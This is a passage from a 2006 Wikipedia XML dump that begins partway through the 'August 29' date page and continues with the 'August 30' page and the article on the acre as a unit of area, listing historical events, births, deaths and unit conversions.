*[[708]] - Copper coins are minted in [[Japan]] for the first time (Traditional [[Japanese calendar|Japanese date]]: August 10, 708).
*[[1189]]- [[Ban Kulin]] wrote &quot;The Charter of Kulin&quot;, which become a symbolic &quot;birth certificate&quot; of [[Bosnia and Herzegovina|Bosnian]] statehood
*[[1261]] - [[Pope Urban IV|Urban IV]] becomes [[Pope]], the last man to do so without being a [[Cardinal (Catholicism)|Cardinal]] first.
*[[1475]] - The [[Treaty of Picquigny]] ends a brief war between [[France]] and [[England]].
*[[1484]] - [[Pope Innocent VIII|Cardinal Giovanni Battista Cibo]], a staunch supporter of the [[Spanish Inquisition]], is elected Pope Innocent VIII.
*[[1521]] - The [[Ottoman Turks]] capture [[Nándorfehérvár]], now known as [[Belgrade]].
*[[1526]] - [[Battle of Mohács]]: The Ottoman Turks led by [[Suleiman the Magnificent]] defeat and kill the last [[Jagiellonian]] king of [[Hungary]] and [[Bohemia]].
*[[1533]] - [[Inca]] [[emperor]] [[Atahualpa]] is [[Execution (legal)|executed]] in [[Cajamarca]] by the garrote.
*[[1541]] - The Ottoman Turks capture [[Buda]], the capital of the Hungarian Kingdom.
*[[1756]] - [[Frederick the Great]] attacks [[Saxony]], beginning the [[Seven Years' War]].
*[[1786]] - [[Shays' Rebellion]], an armed uprising of [[Massachusetts]] farmers, begins in response to high debt and tax burdens.
*[[1831]] - [[Michael Faraday]] discovers [[electromagnetic induction]].
*[[1842]] - The [[Tokugawa shogunate]] orders the local [[Daimyo|daimyō]] to begin providing foreign ships with fresh water and supplies when requested. (Traditional [[Japanese calendar|Japanese date]]: July 24, 1842).
*[[1862]] - [[Battle of Aspromonte]]: [[Italy|Italian]] royal forces defeat rebels.
*[[1869]] - The [[Mount Washington Cog Railway]] opens, making it the world's first [[cog railway]].
*[[1871]] - [[Emperor Meiji]] orders the [[Abolition of the han system]] and the establishment of [[Prefectures of Japan|prefectures]] as local centers of administration. (Traditional [[Japanese calendar|Japanese date]]: July 14, 1871).
*[[1885]] - [[Gottlieb Daimler]] patents the world's first [[motorcycle]].
*[[1895]] - The formation of the [[Rugby League| Northern Rugby Union]] at the George Hotel, [[Huddersfield]], [[England]].
*[[1896]] - [[Chop suey]] is invented in [[New York City]].
*[[1898]] - The [[Goodyear]] tire company is founded.
*[[1907]] - The [[Quebec Bridge]] collapses during construction, killing 75 workers.
*[[1910]] - [[Japan]] changes [[Korea|Korea's]] name to [[Joseon|Chōsen]] and appoints a governor-general to rule its new colony.
*[[1911]] - [[Ishi]], considered the last [[Native Americans in the United States|Native American]] to make contact with whites, emerges from the wilderness of northeastern [[California]].
*[[1922]] - Turkish forces set fire to [[Smyrna]], in [[Asia Minor]].
*[[1930]] - The last 36 remaining inhabitants of [[St Kilda, Scotland|St Kilda]] are voluntarily evacuated to Scotland.
*[[1943]] - [[Occupation of Denmark|German-occupied Denmark]] [[scuttle]]s most of its navy; Germany dissolves Danish government.
*[[1944]] - [[Slovak National Uprising]] takes place as 60,000 [[Slovaks|Slovak]] troops turn against the [[Nazi]] rulers.
*[[1949]] - [[Soviet atomic bomb project]]: The [[Soviet Union]] tests its first [[atomic bomb]], known as ''First Lightning'' or ''[[Joe 1]]'', at [[Semipalatinsk Test Site|Semipalatinsk]], [[Kazakhstan]].
*[[1952]] - Premiere of [[John Cage]]'s ''4'33&quot;'' in [[Woodstock, New York]].
*[[1958]] - [[United States Air Force Academy]] opens in [[Colorado Springs, Colorado]].
*[[1966]] - Last [[The Beatles|Beatles]] concert, in [[San Francisco, California]].
*1966 - Execution of [[Sayyid Qutb]], a leading theoretician of the Egyptian [[Muslim Brotherhood]].
*[[1982]] - The synthetic [[chemical element]] [[Meitnerium]], [[atomic number]] 109, is first synthesized at the [[Gesellschaft für Schwerionenforschung]] in [[Darmstadt]], Germany.
*[[1991]] - [[Supreme Soviet]] suspends all activities of the Soviet Communist Party.
*[[1995]] - [[NATO]] launches [[Operation Deliberate Force]] against Bosnian Serb forces. 
*[[1996]] - [[Vnukovo Airlines Flight 2801]], a [[Vnukovo Airlines]] [[Tupolev Tu-154]] crashes into a mountain on the [[Arctic]] island of [[Spitsbergen]], killing all 141 aboard.
*[[1997]] - At least 98 villagers are killed by the [[Armed Islamic Group|GIA]] in the [[Rais massacre]], [[Algeria]].
*1997 - Serial killer [[Ángel Maturino Reséndiz]] bludgeons to death [[Christopher Maier]] of [[Lexington, Kentucky]], [[United States|USA]], the first of nine victims.
*[[2003]] - [[Ayatollah]] [[Sayed Mohammed Baqir al-Hakim]], the [[Shia Muslim]] leader in [[Iraq]], is [[assassin]]ated in a [[terrorism|terrorist]] bombing, along with nearly 100 worshippers as they  leave a [[mosque]] in [[Najaf]].
*[[2005]] - [[Hurricane Katrina]] [[Effect of Hurricane Katrina on New Orleans|devastates]] much of the [[U.S. Gulf Coast]] from [[Louisiana]] (especially [[New Orleans, Louisiana|New Orleans]]) to the [[Florida Panhandle]], killing more than 1,417 and costing over 75 billion dollars in damage.
*2005 - [[Esquivalience]] found to be a false word

==Births==
*[[1619]] - [[Jean-Baptiste Colbert]], French minister of finance (d. [[1683]])
*[[1628]] - [[John Granville, 1st Earl of Bath]], English royalist statesman (d. [[1701]])
*[[1632]] - [[John Locke]], English philosopher (d. [[1704]])
*[[1725]] - [[Charles Townshend]], English politician (d. [[1767]])
*[[1756]] - [[Heinrich Graf von Bellegarde]], Austrian field marshal and statesman (d. [[1845]])
*[[1756]] - [[Jan Śniadecki]], Polish mathematician, philosopher and astronomer (d. [[1830]])
*[[1777]] - [[Nikita Yakovlevich Bichurin]], Russian Sinologist (d. 1852)
*[[1780]] - [[Jean Auguste Dominique Ingres|Jean Ingres]], French painter (d. [[1867]])
*[[1805]] - [[Frederick Maurice]], English theologian (d. [[1872]])
*[[1809]] - [[Oliver Wendell Holmes, Sr.]], American physician and writer (d. [[1894]])
*[[1810]] - [[Juan Bautista Alberdi]], founding father of the Argentine Republic (d. [[1884]])
*[[1843]] - [[David B. Hill]], Governor of New York (d. [[1910]])
*[[1844]] - [[Edward Carpenter]], English Socialist poet (d. [[1929]]
*[[1862]] - [[Andrew Fisher]], fifth [[Prime Minister of Australia]] (d. [[1928]])
*1862 - [[Maurice Maeterlinck]], Belgian writer, [[Nobel Prize in Literature|Nobel Prize]] laureate (d. [[1949]])
*[[1871]] - [[Albert Lebrun]], French politician (d. [[1950]])
*[[1876]] - [[Charles F. Kettering]], American inventor (d. [[1958]])
*[[1898]] - [[Preston Sturges]], American screenwriter (d. [[1959]])
*[[1904]] - [[Werner Forssmann]], German physician, recipient of the [[Nobel Prize in Physiology or Medicine]] (d. [[1979]])
*[[1905]] - [[Dhyan Chand]], Indian hockey player (d. [[1979]])
*[[1915]] - [[Ingrid Bergman]], Swedish actress (d. [[1982]])
*[[1916]] - [[George Montgomery]], American actor (d. [[2000]])
*[[1917]] - [[Isabel Sanford]], American actress (d. [[2004]])
*[[1920]] - [[Charlie Parker]], American jazz saxophonist and composer (d. [[1955]])
*[[1923]] - [[Richard Attenborough|The Lord Attenborough]], English film director
*[[1924]] - [[Consuelo Velázquez]], Mexican songwriter (d. [[2005]])
*1924 - [[Dinah Washington]], American singer (d. [[1963]])
*[[1933]] - [[Arnold Koller]], Swiss Federal Councilor
*[[1936]] - [[John McCain]], American politician
*[[1937]] - [[James Florio]], Governor of New Jersey
*[[1938]] - [[Elliott Gould]], American actor
*1938 - [[Robert Rubin]], [[United States Secretary of the Treasury]]
*[[1939]] - [[William Friedkin]], American film director
*1939 - [[Joel Schumacher]], American film director
*[[1940]] - [[Gary Gabelich]], race car driver and land world speed record holder
*[[1941]] - [[Robin Leach]], English television host
*[[1946]] - [[Bob Beamon]], American jumper
*[[1958]] - [[Michael Jackson]], American singer and songwriter
*[[1958]] - [[Lenny Henry]], British Comic
*[[1959]] - [[Ernesto Rodrigues]], Portuguese composer
*[[1959]] - [[Akkineni Nagarjuna]], Telugu film actor
*1959 - [[Timothy Perry Shriver]], American chairman of the Special Olympics
*[[1961]] - [[Carsten Fischer]], German field hockey player 
*[[1962]] - [[Rebecca De Mornay]], American actress
*[[1963]] - [[Elizabeth Fraser]], English singer ([[Cocteau Twins]])
*[[1969]] - [[Me'Shell NdegéOcello]], American singer
*1969 - [[Joe Swail]], Northern Irish snooker player
*[[1970]] - [[Jacco Eltingh]], Dutch tennis player
*[[1971]] - [[Carla Gugino]], American actress
*[[1976]] - [[Stephen Carr]], Irish footballer
*[[1978]] - [[Celestine Babayaro]], Nigerian footballer
*[[1979]] - [[Chieu Luu]], Canadian journalist
*[[1980]] - [[David Desrosiers]], Canadian musician ([[Simple Plan]])
*[[1981]] - [[Lanny Barbie]], Canadian [[porn star]]
*[[1985]] - [[Dušan Jocić]], Serbian Warlord

==Deaths==
*[[886]] - [[Basil I]], [[Byzantine Emperor]] (b. [[811]])
*[[1093]] - [[Hugh I, Duke of Burgundy]] (b. [[1057]])
*[[1395]] - Duke [[Albert III of Austria]] (b. [[1349]])
*[[1435]] - [[Isabeau de Bavière]], queen of [[Charles VI of France]] (b. [[1371]])
*[[1442]] - [[John VI, Duke of Brittany]] (b. [[1389]])
*[[1526]] - King [[Louis II of Hungary and Bohemia]] (killed in battle) (b. [[1506]])
*[[1533]] - [[Atahualpa]], last Inca ruler of Peru
*[[1542]] - [[Cristovão da Gama]], Portuguese soldier (born c.[[1510s|1516]])
*[[1657]] - [[John Lilburne]], English dissenter
*[[1712]] - [[Gregory King]], English statistician (b. [[1648]])
*[[1769]] - [[Edmund Hoyle]], English author and teacher (b. [[1672]])
*[[1780]] - [[Jacques-Germain Soufflot]], French architect (b. [[1713]])
*[[1799]] - [[Pope Pius VI]] (b. [[1717]])
*[[1877]] - [[Brigham Young]], American religious leader and western settler (b. [[1801]])
*[[1904]] - [[Murad V]], [[Ottoman Sultan]] (b. [[1840]])
*[[1930]] - [[William Archibald Spooner]], English writer (b. [[1844]])
*[[1935]] - [[Astrid of the Belgians|Queen Astrid of Belgium]] (b. [[1905]])
*[[1947]] - [[Manolete]], Spanish bullfighter (b. [[1917]])
*[[1966]] - [[Sayyid Qutb]], Egyptian theoretician (b. [[1906]])
*[[1968]] - [[Ulysses S. Grant III]], American soldier and planner (b. [[1881]])
*[[1972]] - [[Lale Andersen]], German singer (b. [[1905]])
*[[1975]] - [[Eamon de Valera]], first [[Taoiseach]] and third [[President of Ireland]] (b. [[1882]])
*[[1981]] - [[Lowell Thomas]], American writer and broadcaster (b. [[1892]])
*[[1982]] - [[Ingrid Bergman]], Swedish actress (b. [[1915]])
*[[1987]] - [[Lee Marvin]], American actor (b. [[1924]])
*[[1989]] - [[Peter Scott]], English explorer, naturalist, and painter (b. [[1909]])
*[[2003]] - Ayatollah [[Sayed Mohammed Baqir al-Hakim]], Iraqi political leader (b.[[1939]])
*[[2004]] - [[Hans Vonk]], Dutch conductor (b. [[1942]])

==Holidays and observances==
*[[Eastern Orthodoxy|Eastern Orthodox Christianity]] and [[Calendar of Saints|Roman Catholic Church]] commemorate the beheading of [[John the Baptist]] with a feast day
*[[Slovakia]] - [[Slovak National Uprising]] Day ([[1944]], against the Nazi's)
*[[United States]] - Hurricane Awareness Day (in response to [[Hurricane Katrina]])

==Fictional==
* The day the running stopped for fugitive [[Richard Kimble]] - [[29 August]] [[1967]].
* Judgment Day in the movie ''[[Terminator 2: Judgment Day]]'' - [[29 August]] [[1997]].

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/august/29 BBC: On This Day]

----

[[August 28]] - [[August 30]] - [[July 29]] - [[September 29]] &amp;ndash; [[historical anniversaries|listing of all days]]

{{months}}

[[af:29 Augustus]]
[[ar:29 أغسطس]]
[[an:29 d'agosto]]
[[ast:29 d'agostu]]
[[bg:29 август]]
[[be:29 жніўня]]
[[bs:29. august]]
[[ca:29 d'agost]]
[[ceb:Agosto 29]]
[[cv:Çурла, 29]]
[[co:29 d'aostu]]
[[cs:29. srpen]]
[[cy:29 Awst]]
[[da:29. august]]
[[de:29. August]]
[[et:29. august]]
[[el:29 Αυγούστου]]
[[es:29 de agosto]]
[[eo:29-a de aŭgusto]]
[[eu:Abuztuaren 29]]
[[fo:29. august]]
[[fr:29 août]]
[[fy:29 augustus]]
[[ga:29 Lúnasa]]
[[gl:29 de agosto]]
[[ko:8월 29일]]
[[hr:29. kolovoza]]
[[io:29 di agosto]]
[[id:29 Agustus]]
[[ia:29 de augusto]]
[[ie:29 august]]
[[is:29. ágúst]]
[[it:29 agosto]]
[[he:29 באוגוסט]]
[[jv:29 Agustus]]
[[ka:29 აგვისტო]]
[[csb:29 zélnika]]
[[ku:29'ê gelawêjê]]
[[lt:Rugpjūčio 29]]
[[lb:29. August]]
[[hu:Augusztus 29]]
[[mk:29 август]]
[[ms:29 Ogos]]
[[nap:29 'e aùsto]]
[[nl:29 augustus]]
[[ja:8月29日]]
[[no:29. august]]
[[nn:29. august]]
[[oc:29 d'agost]]
[[pl:29 sierpnia]]
[[pt:29 de Agosto]]
[[ro:29 august]]
[[ru:29 августа]]
[[sco:29 August]]
[[sq:29 Gusht]]
[[scn:29 di austu]]
[[simple:August 29]]
[[sk:29. august]]
[[sl:29. avgust]]
[[sr:29. август]]
[[fi:29. elokuuta]]
[[sv:29 augusti]]
[[tl:Agosto 29]]
[[tt:29. August]]
[[te:ఆగష్టు 29]]
[[th:29 สิงหาคม]]
[[vi:29 tháng 8]]
[[tr:29 Ağustos]]
[[uk:29 серпня]]
[[wa:29 d' awousse]]
[[war:Agosto 29]]
[[zh:8月29日]]
[[pam:Agostu 29]]</text>
    </revision>
  </page>
  <page>
    <title>August 30</title>
    <id>1794</id>
    <revision>
      <id>41841633</id>
      <timestamp>2006-03-02T02:20:54Z</timestamp>
      <contributor>
        <username>Can't sleep, clown will eat me</username>
        <id>603177</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/210.8.54.32|210.8.54.32]] to last version by Rklawton</comment>
      <text xml:space="preserve">{| style=&quot;float:right;&quot;
|- 
|{{AugustCalendar}}
|-
|{{ThisDateInRecentYears|Month=August|Day=30}}
|}
'''August 30''' is the 242nd day of the year in the Gregorian Calendar (243rd in leap years), with 123 days remaining.

==Events==
*[[711]] - [[K'inich K'an Joy Chitam]], king of the [[Maya civilization|Maya]] city of [[Palenque]], disappears from history. He was probably taken prisoner by a rivalling city state.
*[[1574]] - [[Guru Ram Das]] became the Fourth Sikh Guru/Master 
*[[1590]] - [[Tokugawa Ieyasu]] enters [[Edo Castle]]. (Traditional [[Japanese calendar|Japanese date]]: August 1, 1590)
*[[1813]] - [[Battle of Kulm]]: [[France|French]] forces defeated by [[Austria]]n-[[Prussia]]n-[[Russia]]n alliance
* 1813 - [[Creek War]]: [[Creek people|Creek]] [[Red Sticks]] carried out the [[Fort Mims Massacre]].
*[[1850]] - [[Honolulu, Hawaii]], becomes a city
*[[1862]] - [[American Civil War]]: [[Battle of Richmond, Kentucky]]: [[Confederate States of America|Confederates]] under [[Edmund Kirby Smith]] rout a [[Union Army|Union army]] under General [[Horatio Wright]]
*[[1862]] - American Civil War: Union forces are defeated in [[Second Battle of Bull Run]]
*[[1873]] - [[Austrian]] explorers [[Julius von Payer]] and [[Karl Weyprecht]] discover the archipelago of [[Franz Joseph Land]] in the [[Arctic Sea]].
*[[1909]] - [[Burgess Shale]] fossils discovered by [[Charles Doolittle Walcott]]
*[[1914]] - [[Battle of Tannenberg (1914)|Battle of Tannenberg]]
*[[1918]] - [[Fanya Kaplan]], an [[assassin]], shoots and seriously injures [[Bolshevik]] leader [[Vladimir Lenin]]. This, along with the assassination of Bolshevik senior official [[Moisei Uritsky]] days earlier, prompts the decree for [[Red Terror]].
*[[1922]] - [[Battle of Dumlupinar]], final battle in [[Greco-Turkish War (1919-1922)]] (&quot;[[Turkish War of Independence]]&quot;)
*[[1941]] - [[Siege of Leningrad]] begins.
* [[1942]] - [[World War II]]: [[Battle of Alam Halfa]] begins.
*[[1945]] - [[Hong Kong]] is liberated from Japan by British Forces.
*1945 - Supreme Commander of the Allied Forces, [[Douglas MacArthur|General Douglas MacArthur]] lands at [[NAF Atsugi|Atsugi Air Force Base]].
*[[1962]] - [[Japan]] conducts a test of the [[NAMC YS-11]], its first aircraft since the [[World War II|war]] and its only successful commercial aircraft from before or after the war.
*[[1963]] - Hotline between U.S. and Soviet leaders goes into operation.
*[[1965]] - [[Casey Stengel]] announces his retirement from baseball
*1965 - [[Rock and roll|Rock]] musician [[Bob Dylan]] releases his influential album ''[[Highway 61 Revisited]]'' featuring the song &quot;Like a Rolling Stone.&quot;
*[[1967]] - [[Thurgood Marshall]] is confirmed as the first [[African American]] Justice of the [[Supreme Court of the United States|United States Supreme Court]].
*[[1974]] - A [[Belgrade]]-[[Dortmund]] express train derails at the main train station in [[Zagreb]] killing 153 passengers. 
*[[1976]] - [[Tom Brokaw]] becomes news anchor of the ''[[The Today Show|Today Show]]''.
*[[1984]] - [[STS-41-D]]: The [[Space Shuttle]] ''[[Space Shuttle Discovery|Discovery]]'' takes off on its maiden voyage.
*[[1990]] - [[Tatarstan]] declares independence from the [[RSFSR]].
*[[1991]] - [[Azerbaijan]] declares independence from the [[Soviet Union|USSR]].
*[[1992]] - [[Michael Schumacher]] wins his first [[Formula One]] race at the [[1992 Belgian Grand Prix|Belgian Grand Prix]].
*[[1993]] - ''[[The Late Show with David Letterman]]'' debuts on [[CBS]].
*[[1999]] - [[East Timor]]ese vote for independence in a referendum.
*[[2002]] - The [[Tandy Center Subway]] in [[Fort Worth, Texas]], ceases to operate.
*[[2005]] - The [[17th Street Canal]] in New Orleans is breached during [[Hurricane Katrina]], leading to massive flooding and destruction.

==Births==
*[[1334]] - King [[Peter I of Castile]] (d. [[1369]])
*[[1377]] - [[Shah Rukh (Timurid dynasty)|Shah Rukh]], ruler of Persia and Transoxonia (d. [[1447]])
*[[1705]] - [[David Hartley (philosopher)|David Hartley]], English philosopher (d. [[1757]])
*[[1720]] - [[Samuel Whitbread (brewer)|Samuel Whitbread]], English brewer and politician (d. [[1796]])
*[[1748]] - [[Jacques-Louis David]], French painter (d. [[1825]])
*[[1797]] - [[Mary Wollstonecraft Shelley]], English writer (d. [[1851]])
*[[1839]] - [[Gulstan Ropert]], French Catholic prelate (d. [[1903]])
*[[1848]])- [[Andrew Onderdonk]], Railway Contractor.
*[[1852]] - [[Jacobus Henricus van 't Hoff]], Dutch chemist, [[Nobel Prize in Chemistry|Nobel Prize]] laureate (d. [[1911]])
*[[1856]] - [[Carle David Tolmé Runge]], German physicist (d. [[1927]])
*[[1871]] - [[Ernest Rutherford, 1st Baron Rutherford of Nelson]], New Zealand physicist, recipient of the [[Nobel Prize in Chemistry]] (d. [[1937]])
*[[1884]] - [[Theodor Svedberg]], Swedish chemist, [[Nobel Prize in Chemistry|Nobel Prize]] laureate (d. [[1971]])
*[[1893]] - [[Huey Long]], American politician (d. [[1935]])
*[[1896]] - [[Raymond Massey]], Canadian actor (d. [[1983]])
*[[1898]] - [[Shirley Booth]], American actress (d. [[1992]])
*[[1901]] - [[Roy Wilkins]], American civil rights leader ([[1981]])
*[[1906]] - [[Joan Blondell]], American actress (d. [[1979]])
*[[1908]] - [[Fred MacMurray]], American actor (d. [[1991]])
*[[1912]] - [[Edward Mills Purcell]], American physicist, [[Nobel Prize in Physics|Nobel Prize]] laureate (d. [[1997]])
*[[1913]] - [[Richard Stone]], British economist, [[Bank of Sweden Prize in Economic Sciences in Memory of Alfred Nobel|Bank of Sweden Prize]] winner (d. [[1991]])
*[[1918]] - [[Ted Williams]], baseball player (d. [[2002]])
*[[1919]] - [[Kitty Wells]], American singer
*[[1922]] - [[Lionel Keith Murphy|Lionel Murphy]], Australian politician and judge
*[[1925]] - [[Laurent de Brunhoff]], French writer and illustrator
*[[1927]] - [[Geoffrey Beene]], American fashion designer
*[[1930]] - [[Warren Buffett]], American entrepreneur
*  1930   - [[Jerry Tarkanian]], American basketball coach
*[[1935]] - [[John Phillips (musician)|John Phillips]], American singer (The [[Mamas and the Papas]]) (d. [[2001]])
*[[1939]] - [[John Peel]], English radio disc jockey (d. [[2004]])
*[[1941]] - [[Ben Jones (US)|Ben Jones]], American actor and politician
*[[1943]] - [[R. Crumb]], American cartoonist
*1943 - [[Jean-Claude Killy]], French skier
*[[1944]] - [[Molly Ivins]], American political humorist
*[[1947]] - [[Peggy Lipton]], American actress
*[[1948]] - [[Lewis Black]], American comedian
*[[1949]] - [[Peter Maffay]], German Rock Musician
*[[1951]] - [[Timothy Bottoms]], American actor
*[[1951]] - [[Dana (singer)]], Irish singer and politician
*[[1954]] - [[Alexander Lukashenko]], President of Belarus
*[[1959]] - [[Mark 'Jacko' Jackson]], Australian footballer and actor
*[[1963]] - [[Paul Oakenfold]], British disc jockey
*[[1971]] - [[Lars Frederiksen]], American Guitarist ([[Rancid]]/[[UK Subs]])
*[[1972]] - [[Cameron Diaz]], American actress
*  1972   - [[Pavel Nedved]], Czech footballer
*[[1974]] - [[Aaron Barrett]], American guitarist and singer ([[Reel Big Fish]])
*[[1975]] - [[Radhi Jaidi]], Tunisian footballer
*[[1982]] - [[Andy Roddick]], American tennis player

==Deaths==
*[[1158]] - King [[Sancho III of Castile]] (b. [[1134]])
*[[1428]] - [[Emperor Shoko of Japan]] (b. [[1401]])
*[[1483]] - King [[Louis XI of France]] (b. [[1423]])
*[[1580]] - [[Emmanuel Philibert, Duke of Savoy]] (b. [[1528]])
*[[1617]] - [[Rose of Lima]], Peruvian saint (b. [[1586]])
*[[1619]] - [[Shimazu Yoshihiro]], Japanese samurai and warlord (b. [[1535]])
*[[1751]] - [[Christopher Polhem]], Swedish scientist and inventor (b. [[1661]])
*[[1856]] - [[Gilbert Abbott à Beckett]], English writer (b. [[1811]])
*[[1879]] - [[John Bell Hood]], American Confederate general (b. [[1831]])
*[[1896]] - [[Alexei Lobanov-Rostovsky]], Russian statesman (b. [[1824]])
*[[1907]] - [[Richard Mansfield]], American actor and manager (b. [[1857]])
*[[1928]] - [[Wilhelm Wien]], German physicist, [[Nobel Prize]] laureate (b. [[1864]])
*[[1935]] - [[Henri Barbusse]], French novelist and journalist (b. [[1873]])
*[[1940]] - [[J.J. Thomson]], English physicist, [[Nobel Prize]] laureate (b. [[1856]])
*[[1941]] - [[Peder Oluf Pedersen]], Danish engineer and physicist (b. [[1874]])
*[[1943]] - [[Father Eustaquio van Lieshout]], Dutch Catholic priest (b. [[1890]])
*[[1949]] - [[Arthur Fielder]], English cricketer (b. [[1877]])
*[[1961]] - [[Charles Coburn]], American actor (b. [[1877]])
*[[1981]] - [[Vera-Ellen]], American actress (b. [[1921]])
*[[1985]] - [[Taylor Caldwell]], English-born author (b. [[1900]])
*[[1991]] - [[Jean Tinguely]], Swiss painter and sculptor (b. [[1925]])
*[[1994]] - [[Lindsay Anderson]], English film director (b. [[1923]])
*[[1995]] - [[Sterling Morrison]], American guitarist ([[The Velvet Underground]]) (b. [[1942]])
*[[1999]] - [[Raymond Poïvet]], French comics artist, creator of ''[[Les Pionniers de l'Espérance]]'' (b. [[1910]])
*[[2003]] - [[Charles Bronson]], American actor (b. [[1921]])
*[[2003]] - [[Donald Davidson (philosopher)|Donald Davidson]], American philosopher (b. [[1917]])
*[[2004]] - [[Fred Lawrence Whipple]], American astronomer (b. [[1906]])

==Holidays and observances==
*[[List of public holidays in Peru|Peru]] - [[Saint Rose of Lima]]'s Day
*[[Turkey]] - [[Victory Day (Turkey)|Victory Day]] (to commemorate the [[Battle of Dumlupinar]] in [[1922]])
*[[International Day of the Disappeared]]

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/august/30 BBC: On This Day]
* [http://www.nytimes.com/learning/general/onthisday/20050831.html ''The New York Times'': On This Day]
* [http://www1.sympatico.ca/cgi-bin/on_this_day?mth=Aug&amp;day=30 On This Day in Canada]

----

[[August 29]] - [[August 31]] - [[July 30]] - [[September 30]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:30 Augustus]]
[[ar:30 أغسطس]]
[[an:30 d'agosto]]
[[ast:30 d'agostu]]
[[bg:30 август]]
[[be:30 жніўня]]
[[bs:30. avgust]]
[[ca:30 d'agost]]
[[ceb:Agosto 30]]
[[cv:Çурла, 30]]
[[co:30 d'aostu]]
[[cs:30. srpen]]
[[cy:30 Awst]]
[[da:30. august]]
[[de:30. August]]
[[et:30. august]]
[[el:30 Αυγούστου]]
[[es:30 de agosto]]
[[eo:30-a de aŭgusto]]
[[eu:Abuztuaren 30]]
[[fo:30. august]]
[[fr:30 août]]
[[fy:30 augustus]]
[[ga:30 Lúnasa]]
[[gl:30 de agosto]]
[[ko:8월 30일]]
[[hr:30. kolovoza]]
[[io:30 di agosto]]
[[id:30 Agustus]]
[[ia:30 de augusto]]
[[ie:30 august]]
[[is:30. ágúst]]
[[it:30 agosto]]
[[he:30 באוגוסט]]
[[jv:30 Agustus]]
[[ka:30 აგვისტო]]
[[csb:30 zélnika]]
[[ku:30'ê gelawêjê]]
[[lt:Rugpjūčio 30]]
[[lb:30. August]]
[[hu:Augusztus 30]]
[[mk:30 август]]
[[ms:30 Ogos]]
[[nap:30 'e aùsto]]
[[nl:30 augustus]]
[[ja:8月30日]]
[[no:30. august]]
[[nn:30. august]]
[[oc:30 d'agost]]
[[pl:30 sierpnia]]
[[pt:30 de Agosto]]
[[ro:30 august]]
[[ru:30 августа]]
[[sco:30 August]]
[[sq:30 Gusht]]
[[scn:30 di austu]]
[[simple:August 30]]
[[sk:30. august]]
[[sl:30. avgust]]
[[sr:30. август]]
[[fi:30. elokuuta]]
[[sv:30 augusti]]
[[tl:Agosto 30]]
[[tt:30. August]]
[[te:ఆగష్టు 30]]
[[th:30 สิงหาคม]]
[[vi:30 tháng 8]]
[[tr:30 Ağustos]]
[[uk:30 серпня]]
[[wa:30 d' awousse]]
[[war:Agosto 30]]
[[zh:8月30日]]
[[pam:Agostu 30]]</text>
    </revision>
  </page>
  <page>
    <title>Acre</title>
    <id>1797</id>
    <revision>
      <id>41487937</id>
      <timestamp>2006-02-27T18:22:20Z</timestamp>
      <contributor>
        <username>Kbh3rd</username>
        <id>88976</id>
      </contributor>
      <comment>revert: &quot;pole&quot; is a linear measure, not area.</comment>
      <text xml:space="preserve">:''This article is about the unit of measure known as the ''acre''.  For other definitions, see [[Acre (disambiguation)]].''

An '''acre''' is an [[English unit]] of area, which is also frequently used in the United States and some [[Commonwealth of Nations|Commonwealth]] countries. It is most often used to describe areas of land.

== UK definition ==
The UK has a definition in the system of [[Imperial unit]]s of the acre in [http://www.opsi.gov.uk/si/si1995/Uksi_19951804_en_2.htm The Units of Measurement Regulations 1995] as 4,046.8564224 [[metre|m²]]. This is equivalent to 43,560&amp;nbsp;square feet using the definition of foot in the same source.

== U.S. customary units ==
The [[U.S. customary units]] definition of the acre in [http://ts.nist.gov/ts/htdocs/230/235/appxc/appxc.htm NIST Handbook 44] is 43,560.0 [[square foot|square feet]]. However, the U.S. has two definitions of foot (''international foot'' and ''survey foot'') and thus two definitions of acre:
* The ''international acre'' is 4,046.8564224 m². This is based on ''international foot'' of 0.3048 m.
* The U.S. ''survey acre'' is 4,046.87261 m². This is based on the U.S. ''survey foot'' of &lt;sup&gt;1200&lt;/sup&gt;&amp;frasl;&lt;sub&gt;3937&lt;/sub&gt; m.

==Related linear measurements==
Two obsolete, but related, measurements are the acre's length and the acre's breadth.  
*1 acre's length = 1 [[furlong]], 40 [[pole (length)|poles]], or 220 yards
*1 acre's breadth = 1 [[chain (unit)|chain]], 4 poles, or 22 yards

== Conversion ==
An international acre may be [[Conversion of units|converted]] to other units because it is equivalent to exactly:
* 4,046.8564224 [[metre|m²]] (SI unit)
* 40.468564224 [[Are|a]],
* 0.40468564224 [[hectare|ha]],
* 43,560 square feet,
* 4,840 square [[yard]]s,
* 160 square [[rod (unit)|rod]]s,
* 4 [[rood]],
* 1/640 [[square mile]],
* a 10:1 rectangle of 1 [[furlong]] by 1 [[chain (length)|chain]].
* 10 square chains.

An acre is equivalent to approximately:
* a square of side 208.71 [[feet]] (63.61 [[metre]]s).

One [[square mile]] is 640 acres. A square parcel of land ¼ mile wide is 40 acres. A square parcel of land ½ mile on a side is 160 acres, the usual land tract under the [[Homestead Act]] in the [[United States]]. This results in common field lengths of ½ mile, with every [[rod (unit)|rod]] in width equal to one acre.

One acre is slightly less than 91 yards on an [[American Football]] field, with the full field, including the end zones, covering approximately 1.32 acres.

==History==
The acre was selected as approximately the amount of land tillable by one man behind an [[ox]] in one [[day]]. This explains its rectangular definition one-[[chain (length)|chain]] by one-[[furlong]] parcel of land; a long narrow strip of land is more efficient to plough than a square plot, since the plough does not have to be turned so often. Statutory values were enacted in England by acts of 
* [[Edward I of England|Edward I]],
* [[Edward III of England|Edward III]],
* [[Henry VIII of England|Henry VIII]],
* [[George IV of the United Kingdom|George IV]] and
* [[Victoria of the United Kingdom|Victoria]] - the British &quot;Weights and Measures Act&quot; of [[1878]] defined it as containing 4,840 square yards.

In the UK use of acres is officially discouraged, but it is still a very familiar measure of land with the general public, especially middle-aged and elderly people.
Acre is measured on &quot;flat plane&quot;, therefore land that is steeply sloped may contain more area than one acre while actually being only one acre on a map.

==See also==
* [[Conversion of units]]
* [[Acre-foot]]
* [[Acre (Scots)]]

==External links==
* [http://www.opsi.gov.uk/si/si1995/Uksi_19951804_en_2.htm The Units of Measurement Regulations 1995]
* [http://ts.nist.gov/ts/htdocs/230/235/appxc/appxc.htm NIST Handbook 44]

[[Category:Units of area]]
[[Category:Imperial units]]
[[Category:Customary units in the United States]]
[[Category:Real estate]]

[[da:Acre (arealenhed)]]
[[de:Acre (Einheit)]]
[[eo:Akreo (Mezurunuo)]]
[[fr:Acre (unité)]]
[[he:אקר]]
